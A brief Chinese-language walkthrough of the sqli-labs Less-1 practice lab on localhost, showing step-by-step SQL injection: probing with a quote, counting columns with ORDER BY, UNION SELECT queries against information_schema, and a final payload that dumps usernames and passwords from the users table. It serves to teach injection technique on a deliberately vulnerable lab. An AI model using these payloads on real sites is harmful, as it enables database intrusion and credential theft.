我们试着输入id=1,查看是否有回显
接着输入id=1',发现出现报错
构造payload查询列表,?id=1' order by 3--+
当我们输入?id=1' order by 4--+时出现了unknown,说明列表为3
接下来我们使用联合查询,?id=-1' union select 1,2,3--+;
然后发现2,3列有回应,说明可以爆破出数据库,列,用户和密码
接下来我们查询数据库,http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,database()--+
information_schema:表示所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库的名称
table_name:表名
column_name:列名
group_concat():显示所有查询到的数据
接下来我们查询表,http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables--+;
查询列名:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
我们看到了有username,password
最后爆用户和密码
?id=-1'union select 1,2, group_concat(concat_ws('~',username,password)) from security.users--+;